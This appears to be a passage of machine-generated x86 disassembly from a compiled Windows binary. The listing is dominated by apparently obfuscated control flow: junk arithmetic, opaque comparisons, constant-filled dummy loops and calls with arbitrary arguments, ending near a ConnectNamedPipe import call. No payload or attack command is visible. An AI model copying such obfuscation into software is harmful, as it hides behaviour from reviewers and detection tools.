mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jg 0x43ef9d
mov dword [ebp - 0x5c4], 0x2751c76d
mov dword [ebp - 0x5c0], 0x2751c76d
mov dword [ebp - 0x5bc], 0x2751c76d
mov dword [ebp - 0x5b8], 0x2751c76d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5c4], 0
jmp 0x43edac
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5c4], 0
jg 0x43ef98
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c4]
cmp dword [ebp + eax*4 - 0x3a4], 0
je 0x43ee1a
mov byte [ebp - 0x131], 0
push 0x633c
push 0x76fd
push 0x6ce0
push 1
push 1
lea eax, [ebp - 0x131]
push eax
push 1
push 0xb34
push 1
push 0x7efb
push 0x4fa1
push 1
call fcn.00433f6a
add esp, 0x30
jmp 0x43ef6b
mov dword [ebp - 0x848], 0
mov dword [ebp - 0xfd8], 0
push 0x31ab
push 0xef7
push 1
push 0
push 1
push 0
push 1
push 0x29f3
push 0x8b9
lea eax, [ebp - 0x848]
push eax
call fcn.004394a2
add esp, 0x28
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c4]
mov ecx, dword [ebp - 0x848]
cmp dword [ebp + eax*4 - 0x3a4], ecx
je 0x43ee83
mov dword [ebp - 0xcf8], 1
jmp 0x43ee8a
and dword [ebp - 0xcf8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfd8]
cmp dword [ebp + eax - 0x5c4], ecx
jle 0x43eeab
mov dword [ebp - 0xb68], 1
jmp 0x43eeb2
and dword [ebp - 0xb68], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c4]
mov eax, dword [ebp + eax*4 - 0x3a4]
cmp dword [ebp - 0xb68], eax
jne 0x43eeda
mov dword [ebp - 0x850], 1
jmp 0x43eee1
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x850]
add eax, 0xa
cmp dword [ebp - 0xcf8], eax
jg 0x43eefe
mov byte [ebp - 0x16b], 0
push 0x7d3d
push 1
push 1
push 0x1525
lea eax, [ebp - 0x16b]
push eax
push 1
push 1
call fcn.0043427a
add esp, 0x1c
jmp 0x43ed91
jmp 0x43ed3c
jmp 0x43e4b2
mov dword [ebp - 0xe4], 0xca63
mov dword [ebp - 0x11ac], 0xffffffff
mov dword [ebp - 0x2bc], 0
jmp 0x43efcf
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jge 0x43efeb
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xef4], 0xfffffff6
jmp 0x43efc2
push 0x4fdd
push 1
push 1
push 0x1bab
push 0x2f01
push 1
push 0x1d89
push 0x78f2
push 1
push 0x789c
lea eax, [ebp - 0xe4]
push eax
call fcn.0043446f
add esp, 0x2c
mov dword [ebp - 0xe4], 0
jmp 0x43f039
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jg 0x43f44f
mov dword [ebp - 0xd8], 0x64fd9e2a
mov dword [ebp - 0x888], 0xfffffffd
mov dword [ebp - 0xfe8], 0x60a3b7d
mov dword [ebp - 0x348], 0
jmp 0x43f07d
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 2
jge 0x43f099
mov eax, dword [ebp - 0x348]
mov dword [ebp + eax*4 - 0xecc], 0xffffffff
jmp 0x43f070
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xef4]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0xd8], 0xfffd
ja 0x43f0c4
mov dword [ebp - 0xdd8], 1
jmp 0x43f0cb
and dword [ebp - 0xdd8], 0
cmp dword [ebp - 0xdd8], 0x9e07
jl 0x43f0e3
mov dword [ebp - 0xfe0], 1
jmp 0x43f0ea
and dword [ebp - 0xfe0], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xef4], 0xf3813bf5
je 0x43f109
mov dword [ebp - 0x1160], 1
jmp 0x43f110
and dword [ebp - 0x1160], 0
cmp dword [ebp - 0xe4], 1
jne 0x43f12e
mov eax, 0xcff1
test eax, eax
je 0x43f12e
mov dword [ebp - 0x868], 1
jmp 0x43f135
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0xd8]
sub eax, dword [ebp - 0x868]
cmp eax, dword [ebp - 0xe4]
jge 0x43f155
mov dword [ebp - 0xb78], 1
jmp 0x43f15c
and dword [ebp - 0xb78], 0
mov eax, 0x921ded68
sub eax, dword [ebp - 0xb78]
add eax, dword [ebp - 0xd8]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xef4]
jge 0x43f3ad
mov dword [ebp - 0x218], 0xe626
mov dword [ebp - 0xff0], 0xfffffffb
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x1394], eax
cmp dword [ebp - 0x218], 0
jne 0x43f1bb
cmp dword [ebp - 0xfe8], 0
jne 0x43f1bb
and dword [ebp - 0x870], 0
jmp 0x43f1c5
mov dword [ebp - 0x870], 1
mov eax, dword [ebp - 0x870]
add eax, 0xe526
cmp eax, 1
jg 0x43f1e1
mov dword [ebp - 0xd00], 1
jmp 0x43f1e8
and dword [ebp - 0xd00], 0
mov eax, dword [ebp - 0x888]
imul eax, dword [ebp - 0xd00]
cmp eax, dword [ebp - 0xd8]
jg 0x43f209
mov dword [ebp - 0x878], 1
jmp 0x43f210
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x878], eax
je 0x43f233
cmp dword [ebp - 0x218], 0
je 0x43f233
mov dword [ebp - 0xb80], 1
jmp 0x43f23a
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0xb80], eax
jle 0x43f254
mov dword [ebp - 0xe48], 1
jmp 0x43f25b
and dword [ebp - 0xe48], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xecc]
dec eax
mov dword [ebp - 0x880], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x880]
mov dword [ebp + eax - 0xecc], ecx
mov eax, dword [ebp - 0x880]
sub eax, dword [ebp - 0xe48]
cmp eax, dword [ebp - 0x888]
je 0x43f2a2
mov dword [ebp - 0xb88], 1
jmp 0x43f2a9
and dword [ebp - 0xb88], 0
cmp dword [ebp - 0xb88], 0xcf58
jg 0x43f2c1
mov dword [ebp - 0x890], 1
jmp 0x43f2c8
and dword [ebp - 0x890], 0
cmp dword [ebp - 0x890], 0x2b2f
jg 0x43f2e0
mov dword [ebp - 0xd08], 1
jmp 0x43f2e7
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0x11ac]
cmp dword [ebp - 0xd08], eax
jl 0x43f301
mov dword [ebp - 0x898], 1
jmp 0x43f308
and dword [ebp - 0x898], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xef4]
cmp dword [ebp - 0x898], eax
jne 0x43f329
mov dword [ebp - 0xd8], 0
jmp 0x43f3c6
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 1
jg 0x43f3e3
mov eax, dword [ebp - 0xd8]
cmp dword [ebp + eax*4 - 0xecc], 0
je 0x43f3e1
jmp 0x43f3e3
jmp 0x43f3b9
mov byte [ebp - 0x139], 0
push 0x669a
lea eax, [ebp - 0x139]
push eax
push 1
push 1
push 0
push 1
push 0x43c1
push 1
push 0x29c9
push 0x126c
push 0x1b68
call fcn.0042f799
add esp, 0x2c
push 0
push 0x656e
push 1
push 0x2c71
push 1
push 1
push 0x7d49
push 0x4870
push 0xede
push 0x24e3
call fcn.00434799
add esp, 0x28
jmp 0x43f02c
mov eax, dword [ebp - 0xec]
movzx eax, byte [ebp + eax - 0x457]
sub eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xb98]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x8b0], eax
push 1
push 0x2b5f
push 1
push 0x3fa0
push 1
push 1
push 0xd1d
push 0x2231
push 0x5637
push 0x38e7
call fcn.00434799
add esp, 0x28
push 1
push 0x6409
push 1
push 1
push 1
push 1
push 0x251b
lea eax, [ebp - 0x8b0]
push eax
call fcn.0042ca0b
add esp, 0x20
mov eax, dword [ebp - 0xec]
movzx eax, byte [ebp + eax - 0x458]
mov cl, byte [ebp - 0x8b0]
mov byte [ebp + eax - 0x1358], cl
jmp 0x43e4b2
mov dword [ebp - 0x8b8], 1
mov dword [ebp - 0xd10], 0xffffffff
mov dword [ebp - 0x1698], 0xffffffff
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x4a8], 0xb4746a1c
mov dword [ebp - 0x2c4], 0x47bb7ab6
mov dword [ebp - 0x56c], 0xc28cae2f
mov dword [ebp - 0xff8], 2
mov dword [ebp - 0x1c], 0
jmp 0x43f544
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x43f55a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1724], 8
jmp 0x43f53d
mov dword [ebp - 0x1c], 0
jmp 0x43f56a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x43f580
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1370], 0xc0e3e763
jmp 0x43f563
mov dword [ebp - 0x1c], 0
jmp 0x43f590
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x43f5a6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1000], 0xa2e71cc
jmp 0x43f589
mov dword [ebp - 0xd10], 0x44d5
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
cmp dword [ebp - 0xd10], eax
jge 0x43f5d7
mov dword [ebp - 0x8c0], 1
jmp 0x43f5de
and dword [ebp - 0x8c0], 0
mov dword [ebp - 0x8b8], 0x526d2e85
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0xba0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xba0]
mov dword [ebp + eax - 0x1724], ecx
mov eax, dword [ebp - 0xba0]
cmp eax, dword [ebp - 0x8c0]
jg 0x43f621
mov dword [ebp - 0x8c8], 1
jmp 0x43f628
and dword [ebp - 0x8c8], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1370], 0
jne 0x43f67e
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2c4]
cmp dword [ebp + eax - 0x1370], ecx
je 0x43f659
mov dword [ebp - 0xe30], 1
jmp 0x43f660
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
jne 0x43f67e
and dword [ebp - 0x1168], 0
jmp 0x43f688
mov dword [ebp - 0x1168], 1
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x16a0], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x16a8], eax
mov eax, dword [ebp - 0xff8]
imul eax, dword [ebp - 0x4a8]
add eax, dword [ebp - 0x4a8]
jne 0x43f6bc
cmp dword [ebp - 0x520], 0
cmp dword [ebp - 0x8c8], 1
je 0x43f6d1
mov dword [ebp - 0xba8], 1
jmp 0x43f6d8
and dword [ebp - 0xba8], 0
mov eax, dword [ebp - 0x4a8]
cmp dword [ebp - 0xba8], eax
jl 0x43f6f2
mov dword [ebp - 0x11b4], 1
jmp 0x43f6f9
and dword [ebp - 0x11b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1000]
mov dword [ebp - 0x16cc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1370]
mov dword [ebp - 0x520], eax
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x1358], 0
mov dword [ebp - 0x388], 0xffffffff
mov dword [ebp - 0x4b8], 0x91509cf1
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x8d0], 0x3efc1676
mov dword [ebp - 0x1008], 0x8deb256c
mov dword [ebp - 0x1170], 0x4a603d2c
mov dword [ebp - 0xbb8], 0x6e1580eb
mov dword [ebp - 0x1018], 0xfa0b2b04
mov dword [ebp - 0x568], 5
mov dword [ebp - 0x1694], 0xb686461d
mov dword [ebp - 0xa0], 0
jmp 0x43f7aa
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x43f7c6
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x173c], 0x36f914a1
jmp 0x43f79d
mov dword [ebp - 0xa0], 0
jmp 0x43f7df
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x43f7fb
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x8f0], 0xe1d62101
jmp 0x43f7d2
push 0
push 0x6809
push 1
lea eax, [ebp - 0x8d0]
push eax
push 0x2c08
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x388]
push eax
lea eax, [ebp - 0x2cc]
push eax
push 1
push 1
call fcn.00435043
add esp, 0x28
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x388]
mov dword [ebp + eax - 0x173c], ecx
mov eax, dword [ebp - 0xbb8]
cmp dword [ebp - 0x8d0], eax
jne 0x43f85d
mov dword [ebp - 0xd18], 1
jmp 0x43f864
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0x4b8]
cmp dword [ebp - 0xd18], eax
jge 0x43f887
cmp dword [ebp - 0x388], 0
je 0x43f887
mov dword [ebp - 0x8d8], 1
jmp 0x43f88e
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x1170]
cmp eax, dword [ebp - 0x8d8]
jne 0x43f8a8
mov dword [ebp - 0xbb0], 1
jmp 0x43f8af
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0xbb0]
inc eax
cmp eax, dword [ebp - 0x1008]
jle 0x43f8ca
mov dword [ebp - 0x8e0], 1
jmp 0x43f8d1
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x8e0], 5
jl 0x43f8e6
mov dword [ebp - 0x4b0], 1
jmp 0x43f8ed
and dword [ebp - 0x4b0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4b0]
mov dword [ebp + eax - 0x8f0], ecx
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x11bc], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x1010], eax
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x11bc]
cmp eax, dword [ebp - 0x1010]
jle 0x43f93f
mov dword [ebp - 0xde8], 1
jmp 0x43f946
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0x4b8]
cmp dword [ebp - 0xde8], eax
je 0x43f960
mov dword [ebp - 0x8e8], 1
jmp 0x43f967
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x8e8]
jl 0x43f981
mov dword [ebp - 0x117c], 1
jmp 0x43f988
and dword [ebp - 0x117c], 0
mov eax, dword [ebp - 0xbb8]
mov dword [ebp - 0x1604], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f0]
mov dword [ebp - 0x139c], eax
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x1634], eax
mov eax, dword [ebp - 0x388]
sub eax, dword [ebp - 0x1018]
mov dword [ebp - 0x2cc], eax
push 0xa
lea eax, [ebp - 0x1358]
push eax
lea ecx, [ebp - 0x1814]
call fcn.00407abf
xor edx, edx
mov ecx, eax
call fcn.0042458e
pop ecx
mov dword [ebp - 0x1278], eax
lea ecx, [ebp - 0x1814]
call fcn.00402a9c
mov dword [ebp - 0xbc0], 0xffffffff
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x11c4], 0xffffffff
mov dword [ebp - 0xc0], 0
jmp 0x43fa28
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x43fa44
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0xd90], 0x5c68ec0a
jmp 0x43fa1b
mov dword [ebp - 0xc0], 0
jmp 0x43fa5d
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x43fa79
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x121c], 0xbcd76ce4
jmp 0x43fa50
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd90], 0
jmp 0x43faa7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd90]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd90], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd90], 0xffffffee
jle 0x43fd96
mov dword [ebp - 0x4c0], 0
mov dword [ebp - 0xe58], 0xfafbf261
mov dword [ebp - 0x1bc], 0xfffffff9
mov dword [ebp - 0xd28], 0xe289aa50
mov dword [ebp - 0x350], 0
jmp 0x43fafc
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 2
jge 0x43fb18
mov eax, dword [ebp - 0x350]
mov dword [ebp + eax*4 - 0x1300], 0xffffffff
jmp 0x43faef
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
dec ecx
mov dword [ebp - 0x28], ecx
test eax, eax
jne 0x43fc4e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1300], 0xc869b7d6
mov eax, 0xc869b7d6
cmp eax, 0xfffffffa
jb 0x43fb51
mov dword [ebp - 0xd20], 1
jmp 0x43fb58
and dword [ebp - 0xd20], 0
cmp dword [ebp - 0xd20], 0x7c71
jg 0x43fb70
mov dword [ebp - 0x8f8], 1
jmp 0x43fb77
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x13a4], eax
mov eax, dword [ebp - 0x8f8]
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0xbc0]
mov dword [ebp - 0x1560], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x121c]
mov dword [ebp - 0x13ac], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1300]
cmp dword [ebp + eax - 0x121c], ecx
jge 0x43fbd6
mov dword [ebp - 0x900], 1
jmp 0x43fbdd
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0xe58], eax
cmp dword [ebp - 0xe58], 0x8dc509ca
ja 0x43fc01
mov dword [ebp - 0x908], 1
jmp 0x43fc08
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x908], eax
jg 0x43fc22
mov dword [ebp - 0x528], 1
jmp 0x43fc29
and dword [ebp - 0x528], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x528]
mov dword [ebp + eax - 0x121c], ecx
cmp dword [ebp - 0x528], 0
jne 0x43fc4e
mov dword [ebp - 0xbc8], 1
mov eax, dword [ebp - 0xbc8]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x1bc], eax
je 0x43fc7e
mov dword [ebp - 0x910], 1
jmp 0x43fc85
and dword [ebp - 0x910], 0
imul eax, dword [ebp - 0x910], 0xa00f
mov dword [ebp - 0xd28], eax
cmp dword [ebp - 0xd28], 9
ja 0x43fcd2
mov byte [ebp - 0x179], 0
push 0x3091
lea eax, [ebp - 0x179]
push eax
push 1
push 1
push 0xf10
push 1
push 1
push 0x2513
push 1
call fcn.00434c1c
add esp, 0x24
jmp 0x43fd80
mov dword [ebp - 0x28], 0xffffffe8
jmp 0x43fce2
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x27
jge 0x43fd18
push 1
push 0x296b
push 1
push 0x33f1
push 0x35e
push 0x77e4
push 0x7021
push 0x6157
push 1
push 1
call fcn.00435043
add esp, 0x28
jmp 0x43fcdb
mov dword [ebp - 0x28], 0
jmp 0x43fd28
cmp dword [ebp - 0x28], 2
jg 0x43fd80
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x121c], 0
je 0x43fd91
jmp 0x43fd96
jmp 0x43fa8c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd90]
mov dword [ebp - 0x11c4], eax
and dword [ebp - 0x3a8], 0
jmp 0x43fdbf
cmp dword [ebp - 0x3a8], 0xb
jae 0x43ff1e
mov dword [ebp - 0xdf0], 0xfffffff9
mov dword [ebp - 0x1020], 0
mov dword [ebp - 0x1684], 0x4b15d3e9
mov dword [ebp - 0x1188], 0xffffffff
mov dword [ebp - 0x1028], 1
mov dword [ebp - 0x920], 0xc3d076c5
mov dword [ebp - 0x930], 0xfffffffc
mov dword [ebp - 0x13b4], 0x260e2efe
mov dword [ebp - 0x2d4], 0
jmp 0x43fe35
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 3
jge 0x43fe51
mov eax, dword [ebp - 0x2d4]
mov dword [ebp + eax*4 - 0x1754], 0x9cde30ec
jmp 0x43fe28
xor eax, eax
inc eax
je 0x43fe6b
cmp dword [ebp - 0x1020], 0
je 0x43fe6b
mov dword [ebp - 0x918], 1
jmp 0x43fe72
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x1188]
cmp dword [ebp - 0x918], eax
jl 0x43fe95
cmp dword [ebp - 0x1028], 0
je 0x43fe95
mov dword [ebp - 0xbd0], 1
jmp 0x43fe9c
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x920]
sub eax, dword [ebp - 0xdf0]
cmp eax, 0xfffffff6
jle 0x43fec5
mov dword [ebp - 0x928], 1
jmp 0x43fecc
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0xdf0]
cmp eax, dword [ebp - 0x928]
jne 0x43fee6
mov dword [ebp - 0xbd8], 1
jmp 0x43feed
and dword [ebp - 0xbd8], 0
mov eax, dword [ebp - 0xbd8]
mov dword [ebp - 0x930], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x930]
mov dword [ebp + eax - 0x1754], ecx
mov eax, dword [ebp - 0x3a8]
mov byte [ebp + eax - 0x1358], 0
jmp 0x43fdb2
mov dword [ebp - 0x1030], 1
mov dword [ebp - 0x1568], 2
mov dword [ebp - 0x11cc], 0x759609c3
mov dword [ebp - 0x11d4], 8
mov dword [ebp - 0x2dc], 0
jmp 0x43ff5f
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 4
jge 0x43ff7b
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x1854], 0xffffffff
jmp 0x43ff52
lea eax, [ebp - 0x11cc]
push eax
push 0x329b
lea eax, [ebp - 0x1030]
push eax
push 0
push 0
push 0x46d9
push 1
lea eax, [ebp - 0x11d4]
push eax
push 1
push 0x25dd
push 0x7571
push 1
call fcn.00433f6a
add esp, 0x30
push 1
push 1
push 1
push 0
push 0xd2d
push 0x2088
call fcn.00436809
add esp, 0x18
mov dword [ebp - 0x570], 1
mov dword [ebp - 0x530], 5
mov dword [ebp - 0x358], 0x7800ff6
mov dword [ebp - 0x6c], 0
jmp 0x43fffe
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x440014
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x564], 0xdf99ff60
jmp 0x43fff7
mov dword [ebp - 0x6c], 0
jmp 0x440024
cmp dword [ebp - 0x6c], 4
jge 0x44003a
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x3cc], 0x667a876e
jmp 0x44001d
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3cc], 0
jmp 0x440068
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
jmp 0x4469d3
mov eax, dword [ebp - 0x10ac]
mov dword [ebp - 0x10b4], eax
push 0x415b
push 0
push 0x6448
push dword [ebp - 0x10b4]
push 1
call fcn.0042a6b8
add esp, 0x14
jmp 0x446a24
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10bc], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x10d4], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x10cc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10c4], eax
push dword [ebp - 0x10bc]
push dword [ebp - 0x10c4]
push 1
push dword [ebp - 0x10cc]
mov eax, dword [ebp - 0x10d4]
movzx eax, byte [eax]
push eax
push 0x5985
call fcn.0042b38d
add esp, 0x18
mov esp, ebp
pop ebp
ret